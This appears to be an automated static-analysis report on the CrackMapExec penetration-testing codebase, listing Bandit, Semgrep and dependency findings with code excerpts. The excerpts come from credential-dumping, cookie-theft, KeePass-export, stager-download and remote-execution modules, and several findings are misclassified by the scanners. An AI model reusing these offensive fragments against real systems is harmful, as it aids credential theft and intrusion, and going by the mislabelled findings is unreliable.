- /cme/protocols/ssh.py line 77
- Likely real
- Yes, 97% confidence
Possible shell injection via Paramiko call, check inputs are properly sanitized.
76 return True 77 stdin, stdout, stderr = self.conn.exec_command("sudo -ln | grep 'NOPASSWD: ALL'") 78 if stdout.read().decode("utf-8").find("NOPASSWD: ALL") != -1: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ssh.py line 72
- Likely real
- Yes, 97% confidence
Possible shell injection via Paramiko call, check inputs are properly sanitized.
71 # but that might be too much of an opsec concern - maybe add in a flag to do more checks? 72 stdin, stdout, stderr = self.conn.exec_command("id") 73 if stdout.read().decode("utf-8").find("uid=0(root)") != -1: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ssh.py line 46
- Likely real
- Yes, 97% confidence
Possible shell injection via Paramiko call, check inputs are properly sanitized.
45 if self.args.remote_enum: 46 stdin, stdout, stderr = self.conn.exec_command("uname -r") 47 self.server_os = stdout.read().decode("utf-8") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 392
- Likely real
- Yes, 56% confidence
Using xml.etree.ElementTree.parse to parse untrusted XML data is known to be vulnerable to XML attacks. Replace xml.etree.ElementTree.parse with its defusedxml equivalent function or make sure defusedxml.defuse_stdlib() is called
391 xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name) 392 xml_tree = ElementTree.parse(xml_doc_path) 393 root = xml_tree.getroot() -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'oscrypto' has no version lock — supply chain risk
oscrypto = {'git': 'https://github.com/NeffIsBack/oscrypto'} -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'impacket' has no version lock — supply chain risk
impacket = {'git': 'https://github.com/mpgn/impacket.git', 'branch': 'gkdi'} -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/firefox.py line 215
- Likely real
- Yes, 53% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
hp = sha1(global_salt + master_password).digest() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/firefox.py line 217
- Likely real
- Yes, 53% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
chp = sha1(hp + entry_salt).digest() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/firefox.py line 236
- Likely real
- Yes, 53% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
k = sha1(global_salt + master_password).digest() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 197
- Likely real
- Yes, 52% confidence
Detected possible formatted SQL query. Use parameterized queries instead.
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 245
- Likely real
- Yes, 52% confidence
Detected possible formatted SQL query. Use parameterized queries instead.
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 163
- Likely real
- Yes, 52% confidence
Detected possible formatted SQL query. Use parameterized queries instead.
connection.execute(add_trigger_script_cmd) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 238
- Likely real
- Yes, 52% confidence
Detected possible formatted SQL query. Use parameterized queries instead.
connection.execute(restart_keepass_script_cmd) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 388
- Likely real
- Yes, 52% confidence
Detected possible formatted SQL query. Use parameterized queries instead.
connection.execute(remove_remote_temp_script_cmd) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/crackmapexec.yml line 36
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/upload-artifact@master -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/crackmapexec.yml line 31
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/upload-artifact@master -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/crackmapexec.yml line 23
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/setup-python@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/crackmapexec.yml line 21
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v3 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/crackmapexec-test.yml line 22
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/setup-python@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/crackmapexec-test.yml line 20
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v3 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 369
- Likely real
- Yes, 52% confidence
Using xml.etree.ElementTree.fromstring to parse untrusted XML data is known to be vulnerable to XML attacks. Replace xml.etree.ElementTree.fromstring with its defusedxml equivalent function or make sure defusedxml.defuse_stdlib() is called
368 try: 369 keepass_config_xml_root = ElementTree.fromstring(buffer.getvalue()) 370 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/gpp_password.py line 50
- Likely real
- Yes, 52% confidence
Using xml.etree.ElementTree.fromstring to parse untrusted XML data is known to be vulnerable to XML attacks. Replace xml.etree.ElementTree.fromstring with its defusedxml equivalent function or make sure defusedxml.defuse_stdlib() is called
49 connection.conn.getFile("SYSVOL", path, buf.write) 50 xml = ET.fromstring(buf.getvalue()) 51 sections = [] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/gpp_autologin.py line 37
- Likely real
- Yes, 52% confidence
Using xml.etree.ElementTree.fromstring to parse untrusted XML data is known to be vulnerable to XML attacks. Replace xml.etree.ElementTree.fromstring with its defusedxml equivalent function or make sure defusedxml.defuse_stdlib() is called
36 connection.conn.getFile("SYSVOL", path, buf.write) 37 xml = ET.fromstring(buf.getvalue()) 38 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/nanodump.py line 196
- Likely real
- Yes, 52% confidence
Detected possible formatted SQL query. Use parameterized queries instead.
self.connection.execute(f"del {self.tmp_dir + nano_log_name}") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/modules/nanodump.py line 269
- Likely real
- Yes, 52% confidence
Detected possible formatted SQL query. Use parameterized queries instead.
self.connection.execute(f"del {self.tmp_dir + self.nano}") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/firefox.py line 215
- Likely real
- Uncertain, 49% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
214 # See http://www.drh-consultancy.demon.co.uk/key3.html 215 hp = sha1(global_salt + master_password).digest() 216 pes = entry_salt + "\x00".encode() * (20 - len(entry_salt)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/firefox.py line 217
- Likely real
- Uncertain, 49% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
216 pes = entry_salt + "\x00".encode() * (20 - len(entry_salt)) 217 chp = sha1(hp + entry_salt).digest() 218 k1 = hmac.new(chp, pes + entry_salt, sha1).digest() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/firefox.py line 236
- Likely real
- Uncertain, 49% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
235 236 k = sha1(global_salt + master_password).digest() 237 key = pbkdf2_hmac("sha256", k, entry_salt, iteration_count, dklen=key_length) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ssh.py line 154
- Likely real
- Uncertain, 46% confidence
Function call with shell=True parameter identified, possible security issue.
153 154 self.db.add_loggedin_relation(cred_id, host_id, shell=shell_access) 155 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/teams_localdb.py line 46
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
45 c = conn.cursor() 46 c.execute("SELECT value FROM cookies WHERE name = '" + name + "'") 47 row = c.fetchone() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 128
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
127 cursor.execute( 128 "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", 129 [password], -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 102
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
101 cursor.execute( 102 "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", 103 [nthash], -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 89
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
88 cursor.execute( 89 "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", 90 [password], -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/get_netconnections.py line 30
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
29 data = [] 30 cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration") 31 if cards: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/enum_dns.py line 48
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
47 output = connection.wmi( 48 f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}", 49 "root\\microsoftdns", -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 132
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
131 cursor.execute( 132 "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", 133 [nthash], -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 197
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
196 context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.") 197 cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'") 198 return False -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 245
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
244 if user[0] in pc[1]: 245 cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'") 246 more_to_dump = cursor.fetchall() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/mssql_priv.py line 185
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
184 def get_databases(self, exec_as="") -> list: 185 res = self.query_and_get_output(exec_as + "SELECT name FROM master..sysdatabases") 186 self.revert_context(exec_as) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/wmi/wmiexec_event.py line 164
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
163 eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 164 eventFilter.Query = f'select * from __TimerEvent where TimerID = "{self.__instanceID}" ' 165 eventFilter.QueryLanguage = 'WQL' -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/mssql/mssqlexec.py line 76
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
75 try: 76 self.mssql_conn.sql_query(f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs") 77 data = self.mssql_conn.rows[0]["BulkColumn"] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/hash_spider.py line 256
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
255 self.run_lsassy(context, connection, cursor) 256 cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'") 257 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/mssql_priv.py line 193
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
192 def is_dbowner(self, database, exec_as="") -> bool: 193 query = f"""select rp.name as database_role 194 from [{database}].sys.database_role_members drm 195 join [{database}].sys.database_principals rp 196 on (drm.role_principal_id = rp.principal_id) 197 join [{database}].sys.database_principals mp 198 on (drm.member_principal_id = mp.principal_id) 199 where rp.name = 'db_owner' and mp.name = SYSTEM_USER""" 200 self.context.log.debug(f"Query: {query}") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ssh/db_navigator.py line 29
- Likely real
- Uncertain, 45% confidence
Function call with shell=True parameter identified, possible security issue.
28 total_users = self.db.get_loggedin_relations(cred_id=cred_id) 29 total_shell = total_users = self.db.get_loggedin_relations(cred_id=cred_id, shell=True) 30 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/database.py line 946
- Likely real
- Uncertain, 45% confidence
Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.
new_row = dict(((column, context[column]) for column in ('name', 'description'))) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/database.py line 960
- Likely real
- Uncertain, 45% confidence
Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.
new_row = dict(((column, context[column]) for column in ('host_id', 'check_id', 'secure', 'reasons'))) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/servers/smb.py line 16
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
15 share_path="/tmp/cme_hosted", 16 listen_address="0.0.0.0", 17 listen_port=445, 18 verbose=False, 19 ): 20 try: 21 threading.Thread.__init__(self) 22 self.server = smbserver.SimpleSMBServer(listen_address, listen_port) 23 self.server.addShare(share_name.upper(), share_path) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/cli.py line 91
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
90 type=str, 91 default="0.0.0.0", 92 metavar="HOST", -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/nanodump.py line 68
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
67 if not os.path.exists("/tmp/cme/"): 68 os.mkdir("/tmp/cme/") 69 self.nano_path = "/tmp/cme/" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/impersonate.py line 49
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
48 if self.useembeded: 49 file_to_upload = "/tmp/Impersonate.exe" 50 with open(file_to_upload, 'wb') as impersonate: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 44
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
43 self.keepass_binary_path = "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe" 44 self.local_export_path = "/tmp" 45 self.trigger_name = "export_database" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/msol.py line 53
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
52 if self.use_embedded: 53 file_to_upload = "/tmp/msol.ps1" 54 with open(file_to_upload, "w") as msol: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/nanodump.py line 67
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
66 else: 67 if not os.path.exists("/tmp/cme/"): 68 os.mkdir("/tmp/cme/") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/teams_localdb.py line 23
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
22 paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0) 23 with open("/tmp/teams_cookies2.txt", "wb") as f: 24 for path in paths: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/nanodump.py line 69
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
68 os.mkdir("/tmp/cme/") 69 self.nano_path = "/tmp/cme/" 70 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/pi.py line 38
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
37 if self.useembeded: 38 file_to_upload = "/tmp/pi.exe" 39 with open(file_to_upload, 'wb') as pm: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/procdump.py line 39
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
38 self.procdump = "procdump.exe" 39 self.procdump_path = "/tmp/" 40 self.dir_result = self.procdump_path -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/scuffy.py line 50
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
49 self.scf_name = module_options["NAME"] 50 self.scf_path = f"/tmp/{self.scf_name}.scf" 51 self.file_path = ntpath.join("\\", f"{self.scf_name}.scf") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/slinky.py line 51
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
50 self.lnk_name = module_options["NAME"] 51 self.lnk_path = f"/tmp/{self.lnk_name}.lnk" 52 self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/spider_plus.py line 533
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
532 self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024)) 533 self.output_folder = module_options.get("OUTPUT_FOLDER", os.path.join("/tmp", "cme_spider_plus")) 534 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/atexec.py line 190
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
189 try: 190 with open(os.path.join("/tmp", "cme_hosted", tmpFileName), "r") as output: 191 self.output_callback(output.read()) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/paths.py line 6
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
5 CME_PATH = os.path.expanduser("~/.cme") 6 TMP_PATH = os.path.join("/tmp", "cme_hosted") 7 if os.name == "nt": -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/teams_localdb.py line 44
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
43 try: 44 conn = sqlite3.connect("/tmp/teams_cookies2.txt") 45 c = conn.cursor() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/handlekatz.py line 37
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
36 self.handlekatz = "handlekatz.exe" 37 self.handlekatz_path = "/tmp/" 38 self.dir_result = self.handlekatz_path -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/drop-sc.py line 48
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
47 if not self.cleanup: 48 self.scfile_path = f"/tmp/{self.filename}.searchConnector-ms" 49 scfile = open(self.scfile_path, "w") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/mmcexec.py line 237
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
236 try: 237 with open(path_join("/tmp", "cme_hosted", self.__output), "r") as output: 238 self.output_callback(output.read()) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/servers/smb.py line 15
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
14 share_name, 15 share_path="/tmp/cme_hosted", 16 listen_address="0.0.0.0", 17 listen_port=445, 18 verbose=False, 19 ): 20 try: 21 threading.Thread.__init__(self) 22 self.server = smbserver.SimpleSMBServer(listen_address, listen_port) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/wmiexec.py line 150
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
149 try: 150 with open(os.path.join("/tmp", "cme_hosted", self.__output), "r") as output: 151 self.output_callback(output.read()) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/smbexec.py line 234
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
233 try: 234 with open(path_join("/tmp", "cme_hosted", self.__output), "rb") as output: 235 self.output_callback(output.read()) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/smbexec.py line 199
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
198 199 with open(path_join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file: 200 batch_file.write(command) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/smbexec.py line 121
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
120 121 with open(path_join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file: 122 batch_file.write(command) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/empire_exec.py line 96
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
95 try: 96 stager_response = requests.post( 97 f"{base_url}/api/v2/stagers?save=False", 98 json=data, 99 headers=headers, 100 verify=False, 101 ) 102 except ConnectionError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/empire_exec.py line 120
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
119 120 download_response = requests.get( 121 f"{base_url}{download_uri}", 122 headers=headers, 123 verify=False, 124 ) 125 context.log.debug(f"Response Code: {download_response.status_code}") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/empire_exec.py line 59
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
58 try: 59 login_response = requests.post( 60 f"{base_url}/token", 61 data=empire_creds, 62 verify=False, 63 ) 64 except ConnectionError as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/cmedb.py line 449
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
448 url_params = {"token": token} 449 r = get( 450 base_url + "/api/creds", 451 headers=headers, 452 params=url_params, 453 verify=False, 454 ) 455 creds = r.json() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/cmedb.py line 440
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
439 try: 440 r = post( 441 base_url + "/api/admin/login", 442 json=payload, 443 headers=headers, 444 verify=False, 445 ) 446 if r.status_code == 200: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/ftp.py line 46
- Likely real
- Yes, 98% confidence
The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead.
self.conn = FTP() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/servers/http.py line 74
- Likely real
- Yes, 95% confidence
ssl.wrap_socket call with no SSL/TLS protocol version specified, the default SSLv23 could be insecure, possible security issue.
73 if server_type == "https": 74 self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True) 75 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/ldap-checker.py line 93
- Likely real
- Yes, 95% confidence
ssl.wrap_socket call with no SSL/TLS protocol version specified, the default SSLv23 could be insecure, possible security issue.
92 s.settimeout(5) 93 ssl_sock = ssl.wrap_socket( 94 s, 95 cert_reqs=ssl.CERT_OPTIONAL, 96 suppress_ragged_eofs=False, 97 do_handshake_on_connect=False, 98 ) 99 ssl_sock.connect((dcIp, 636)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/bh_owned.py line 40
- Likely real
- Yes, 95% confidence
Possible hardcoded password: 'neo4j'
39 self.neo4j_user = "neo4j" 40 self.neo4j_pass = "neo4j" 41 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/mmcexec.py line 75
- Likely real
- Yes, 95% confidence
Possible hardcoded password: 'C:\'
74 self.__shell = "c:\\windows\\system32\\cmd.exe" 75 self.__pwd = "C:\\" 76 self.__quit = None -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/wmiexec.py line 46
- Likely real
- Yes, 95% confidence
Possible hardcoded password: 'C:\'
45 self.__shell = "cmd.exe /Q /c " 46 self.__pwd = "C:\\" 47 self.__aesKey = aesKey -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/keepass_trigger.py line 9
- Likely real
- Yes, 85% confidence
Using ElementTree to parse untrusted XML data is known to be vulnerable to XML attacks. Replace ElementTree with the equivalent defusedxml package, or make sure defusedxml.defuse_stdlib() is called.
8 from io import BytesIO, StringIO 9 from xml.etree import ElementTree 10 from cme.helpers.powershell import get_ps_script -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/rdp.py line 116
- Likely real
- Yes, 52% confidence
Possible hardcoded password: 'pass'
115 self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.args.port, timeout=self.args.rdp_timeout) 116 self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS) 117 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/gpp_autologin.py line 4
- Likely real
- Yes, 51% confidence
Using xml.etree.ElementTree to parse untrusted XML data is known to be vulnerable to XML attacks. Replace xml.etree.ElementTree with the equivalent defusedxml package, or make sure defusedxml.defuse_stdlib() is called.
3 4 import xml.etree.ElementTree as ET 5 from io import BytesIO -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/gpp_password.py line 4
- Likely real
- Yes, 51% confidence
Using xml.etree.ElementTree to parse untrusted XML data is known to be vulnerable to XML attacks. Replace xml.etree.ElementTree with the equivalent defusedxml package, or make sure defusedxml.defuse_stdlib() is called.
3 4 import xml.etree.ElementTree as ET 5 from Cryptodome.Cipher import AES -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap.py line 316
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
